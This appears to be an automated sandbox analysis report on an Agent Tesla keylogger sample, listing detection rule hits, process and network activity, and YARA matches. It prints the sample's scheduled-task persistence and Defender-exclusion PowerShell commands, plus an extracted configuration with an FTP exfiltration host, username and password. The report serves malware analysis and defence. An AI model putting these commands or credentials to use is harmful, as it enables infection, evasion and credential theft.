Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xyodEPhulIrkY" /XML "C:\Users\user\AppData\Local\Temp\tmpBF7D.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xyodEPhulIrkY" /XML "C:\Users\user\AppData\Local\Temp\tmpBF7D.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe, ParentImage: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe, ParentProcessId: 2828, ParentProcessName: xyodEPhulIrkY.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xyodEPhulIrkY" /XML "C:\Users\user\AppData\Local\Temp\tmpBF7D.tmp", ProcessId: 4724, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xyodEPhulIrkY" /XML "C:\Users\user\AppData\Local\Temp\tmpE555.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xyodEPhulIrkY" /XML "C:\Users\user\AppData\Local\Temp\tmpE555.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\hesaphareketi-.exe", ParentImage: C:\Users\user\Desktop\hesaphareketi-.exe, ParentProcessId: 6516, ParentProcessName: hesaphareketi-.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xyodEPhulIrkY" /XML "C:\Users\user\AppData\Local\Temp\tmpE555.tmp", ProcessId: 7096, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hesaphareketi-.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hesaphareketi-.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\hesaphareketi-.exe", ParentImage: C:\Users\user\Desktop\hesaphareketi-.exe, ParentProcessId: 6516, ParentProcessName: hesaphareketi-.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hesaphareketi-.exe", ProcessId: 3524, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xyodEPhulIrkY" /XML "C:\Users\user\AppData\Local\Temp\tmpE555.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xyodEPhulIrkY" /XML "C:\Users\user\AppData\Local\Temp\tmpE555.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\hesaphareketi-.exe", ParentImage: C:\Users\user\Desktop\hesaphareketi-.exe, ParentProcessId: 6516, ParentProcessName: hesaphareketi-.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xyodEPhulIrkY" /XML "C:\Users\user\AppData\Local\Temp\tmpE555.tmp", ProcessId: 7096, ProcessName: schtasks.exe

Snort Signatures

ETPRO TROJAN Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.5 - Destination IP: 104.247.165.99

Timestamp:	06/27/24-09:16:46.163921
SID:	2855542
Source Port:	49706
Destination Port:	62377
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.5 - Destination IP: 104.247.165.99

Timestamp:	06/27/24-09:16:49.864211
SID:	2851779
Source Port:	49708
Destination Port:	51041
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.5 - Destination IP: 104.247.165.99

Timestamp:	06/27/24-09:16:49.864211
SID:	2855542
Source Port:	49708
Destination Port:	51041
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.5 - Destination IP: 104.247.165.99

Timestamp:	06/27/24-09:16:46.163921
SID:	2851779
Source Port:	49706
Destination Port:	62377
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil via FTP - Source IP: 192.168.2.5 - Destination IP: 104.247.165.99

Timestamp:	06/27/24-09:16:49.222300
SID:	2029927
Source Port:	49707
Destination Port:	21
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil via FTP - Source IP: 192.168.2.5 - Destination IP: 104.247.165.99

Timestamp:	06/27/24-09:16:45.532746
SID:	2029927
Source Port:	49705
Destination Port:	21
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: hesaphareketi-.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://ftp.normagroup.com.tr

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe

Avira: detection malicious, Label: HEUR/AGEN.1363658

Found malware configuration

Source: 0.2.hesaphareketi-.exe.3474e08.0.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.normagroup.com.tr", "Username": "admins@normagroup.com.tr", "Password": "ab+LNvim5PAo"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe

ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: hesaphareketi-.exe

ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: hesaphareketi-.exe

Joe Sandbox ML: detected

Source: hesaphareketi-.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: hesaphareketi-.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2029927 ET TROJAN AgentTesla Exfil via FTP 192.168.2.5:49705 -> 104.247.165.99:21
Source: Traffic	Snort IDS: 2855542 ETPRO TROJAN Agent Tesla CnC Exfil Activity 192.168.2.5:49706 -> 104.247.165.99:62377
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.5:49706 -> 104.247.165.99:62377
Source: Traffic	Snort IDS: 2029927 ET TROJAN AgentTesla Exfil via FTP 192.168.2.5:49707 -> 104.247.165.99:21
Source: Traffic	Snort IDS: 2855542 ETPRO TROJAN Agent Tesla CnC Exfil Activity 192.168.2.5:49708 -> 104.247.165.99:51041
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.5:49708 -> 104.247.165.99:51041

Source: global traffic

TCP traffic: 192.168.2.5:49706 -> 104.247.165.99:62377

Source: Joe Sandbox View

IP Address: 104.247.165.99 104.247.165.99

Source: Joe Sandbox View

ASN Name: ASN-QUADRANET-GLOBALUS ASN-QUADRANET-GLOBALUS

Source: unknown

FTP traffic detected: 104.247.165.99:21 -> 192.168.2.5:49705 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 11 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 11 of 50 allowed.220-Local time is now 10:16. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 11 of 50 allowed.220-Local time is now 10:16. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 11 of 50 allowed.220-Local time is now 10:16. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 11 of 50 allowed.220-Local time is now 10:16. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: ftp.normagroup.com.tr

Source: hesaphareketi-.exe, 00000008.00000002.4492018819.000000000304E000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000008.00000002.4492018819.000000000305C000.00000004.00000800.00020000.00000000.sdmp, xyodEPhulIrkY.exe, 0000000D.00000002.4492600143.0000000002CFE000.00000004.00000800.00020000.00000000.sdmp, xyodEPhulIrkY.exe, 0000000D.00000002.4492600143.0000000002D0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.normagroup.com.tr
Source: hesaphareketi-.exe, 00000000.00000002.2067164468.00000000023E1000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000008.00000002.4492018819.000000000304E000.00000004.00000800.00020000.00000000.sdmp, xyodEPhulIrkY.exe, 00000009.00000002.2098714484.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, xyodEPhulIrkY.exe, 0000000D.00000002.4492600143.0000000002CFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: hesaphareketi-.exe, 00000000.00000002.2069027456.0000000003474000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000008.00000002.4487969528.0000000000403000.00000040.00000400.00020000.00000000.sdmp, xyodEPhulIrkY.exe, 00000009.00000002.2100310326.0000000003645000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.hesaphareketi-.exe.3474e08.0.raw.unpack, oAKy.cs	.Net Code: _5754M2
Source: 0.2.hesaphareketi-.exe.34af428.1.raw.unpack, oAKy.cs	.Net Code: _5754M2

Installs a global keyboard hook

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\hesaphareketi-.exe			Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Window created: window name: CLIPBRDWNDCLASS

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.hesaphareketi-.exe.3474e08.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.hesaphareketi-.exe.3474e08.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 9.2.xyodEPhulIrkY.exe.3645378.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.xyodEPhulIrkY.exe.3645378.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.hesaphareketi-.exe.34af428.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.hesaphareketi-.exe.34af428.1.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 8.2.hesaphareketi-.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 8.2.hesaphareketi-.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 9.2.xyodEPhulIrkY.exe.367f998.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.xyodEPhulIrkY.exe.367f998.3.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.hesaphareketi-.exe.34af428.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.hesaphareketi-.exe.34af428.1.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 9.2.xyodEPhulIrkY.exe.367f998.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.xyodEPhulIrkY.exe.367f998.3.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 9.2.xyodEPhulIrkY.exe.3645378.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.xyodEPhulIrkY.exe.3645378.0.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.hesaphareketi-.exe.3474e08.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.hesaphareketi-.exe.3474e08.0.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen

.NET source code contains very large array initializations

Source: hesaphareketi-.exe, --.cs

Large array initialization: _0002: array initializer size 576863

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 0_2_0229E02C	0_2_0229E02C
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 0_2_049B7210	0_2_049B7210
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 0_2_049B8330	0_2_049B8330
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 0_2_049B6E68	0_2_049B6E68
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 0_2_049B8658	0_2_049B8658
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 0_2_049B7758	0_2_049B7758
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 0_2_049B0007	0_2_049B0007
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 0_2_049B0040	0_2_049B0040
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 0_2_049B71FE	0_2_049B71FE
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 0_2_049B724A	0_2_049B724A
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 0_2_049B83D1	0_2_049B83D1
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 8_2_01709400	8_2_01709400
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 8_2_01709BB8	8_2_01709BB8
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 8_2_01704A60	8_2_01704A60
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 8_2_01703E48	8_2_01703E48
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 8_2_0170CE38	8_2_0170CE38
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 8_2_01704190	8_2_01704190
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 8_2_065A2EF8	8_2_065A2EF8
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 8_2_065A56B8	8_2_065A56B8
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 8_2_065A3F28	8_2_065A3F28
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 8_2_065ADC00	8_2_065ADC00
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 8_2_065ABCD0	8_2_065ABCD0
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 8_2_065A8B62	8_2_065A8B62
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 8_2_065A0040	8_2_065A0040
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 8_2_065A3630	8_2_065A3630
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 8_2_065A4FD8	8_2_065A4FD8
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 8_2_066EF0E8	8_2_066EF0E8
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 8_2_066E1128	8_2_066E1128
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 8_2_066E1122	8_2_066E1122
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 9_2_00B2E02C	9_2_00B2E02C
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 9_2_04BA7210	9_2_04BA7210
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 9_2_04BA8320	9_2_04BA8320
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 9_2_04BA6E68	9_2_04BA6E68
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 9_2_04BA8658	9_2_04BA8658
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 9_2_04BA7758	9_2_04BA7758
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 9_2_04BA0006	9_2_04BA0006
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 9_2_04BA0040	9_2_04BA0040
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 9_2_04BA71FE	9_2_04BA71FE
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 9_2_04BA724A	9_2_04BA724A
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 9_2_04BA83D1	9_2_04BA83D1
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 9_2_04D4C3E7	9_2_04D4C3E7
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 9_2_04D4B6B0	9_2_04D4B6B0
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 9_2_04D483C8	9_2_04D483C8
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 9_2_04D4EFF8	9_2_04D4EFF8
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 13_2_01134190	13_2_01134190
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 13_2_01134A60	13_2_01134A60
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 13_2_0113CF00	13_2_0113CF00
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 13_2_01133E48	13_2_01133E48
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 13_2_0113BE76	13_2_0113BE76
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 13_2_05FABCD0	13_2_05FABCD0
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 13_2_05FA3F28	13_2_05FA3F28
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 13_2_05FA2EF8	13_2_05FA2EF8
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 13_2_05FA56B8	13_2_05FA56B8
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 13_2_05FA0040	13_2_05FA0040
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 13_2_05FADBF0	13_2_05FADBF0
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 13_2_05FA8B62	13_2_05FA8B62
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 13_2_05FA4FD8	13_2_05FA4FD8
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 13_2_05FA361F	13_2_05FA361F
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 13_2_06943F98	13_2_06943F98

Source: hesaphareketi-.exe, 00000000.00000002.2074474025.0000000004CE0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameRT.dll. vs hesaphareketi-.exe
Source: hesaphareketi-.exe, 00000000.00000002.2069027456.000000000360D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs hesaphareketi-.exe
Source: hesaphareketi-.exe, 00000000.00000002.2069027456.0000000003474000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamef7121708-72dc-44f1-ae95-b037bc906047.exe4 vs hesaphareketi-.exe
Source: hesaphareketi-.exe, 00000000.00000002.2081297927.0000000006020000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs hesaphareketi-.exe
Source: hesaphareketi-.exe, 00000000.00000002.2067164468.000000000246B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamef7121708-72dc-44f1-ae95-b037bc906047.exe4 vs hesaphareketi-.exe
Source: hesaphareketi-.exe, 00000000.00000002.2056757452.000000000070E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs hesaphareketi-.exe
Source: hesaphareketi-.exe, 00000008.00000002.4487969528.0000000000403000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamef7121708-72dc-44f1-ae95-b037bc906047.exe4 vs hesaphareketi-.exe
Source: hesaphareketi-.exe, 00000008.00000002.4488225500.00000000010F9000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs hesaphareketi-.exe
Source: hesaphareketi-.exe	Binary or memory string: OriginalFilenamellvZ.exeL vs hesaphareketi-.exe

Source: hesaphareketi-.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 0.2.hesaphareketi-.exe.3474e08.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.hesaphareketi-.exe.3474e08.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 9.2.xyodEPhulIrkY.exe.3645378.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.xyodEPhulIrkY.exe.3645378.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.hesaphareketi-.exe.34af428.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.hesaphareketi-.exe.34af428.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 8.2.hesaphareketi-.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 8.2.hesaphareketi-.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 9.2.xyodEPhulIrkY.exe.367f998.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.xyodEPhulIrkY.exe.367f998.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.hesaphareketi-.exe.34af428.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.hesaphareketi-.exe.34af428.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 9.2.xyodEPhulIrkY.exe.367f998.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.xyodEPhulIrkY.exe.367f998.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 9.2.xyodEPhulIrkY.exe.3645378.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.xyodEPhulIrkY.exe.3645378.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.hesaphareketi-.exe.3474e08.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.hesaphareketi-.exe.3474e08.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload

Source: hesaphareketi-.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: xyodEPhulIrkY.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.hesaphareketi-.exe.3474e08.0.raw.unpack, ekKu0.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.hesaphareketi-.exe.3474e08.0.raw.unpack, vKf1z6NvS.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.hesaphareketi-.exe.3474e08.0.raw.unpack, ZNAvlD7qmXc.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 0.2.hesaphareketi-.exe.3474e08.0.raw.unpack, U2doU2.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.hesaphareketi-.exe.3474e08.0.raw.unpack, BgffYko.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.hesaphareketi-.exe.3474e08.0.raw.unpack, HrTdA63.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.hesaphareketi-.exe.3474e08.0.raw.unpack, Vvp22TrBv9g.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.hesaphareketi-.exe.3474e08.0.raw.unpack, Vvp22TrBv9g.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.hesaphareketi-.exe.3474e08.0.raw.unpack, Vvp22TrBv9g.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.hesaphareketi-.exe.3474e08.0.raw.unpack, Vvp22TrBv9g.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, F20LWFVHgRjD1hgb3j.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, F20LWFVHgRjD1hgb3j.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
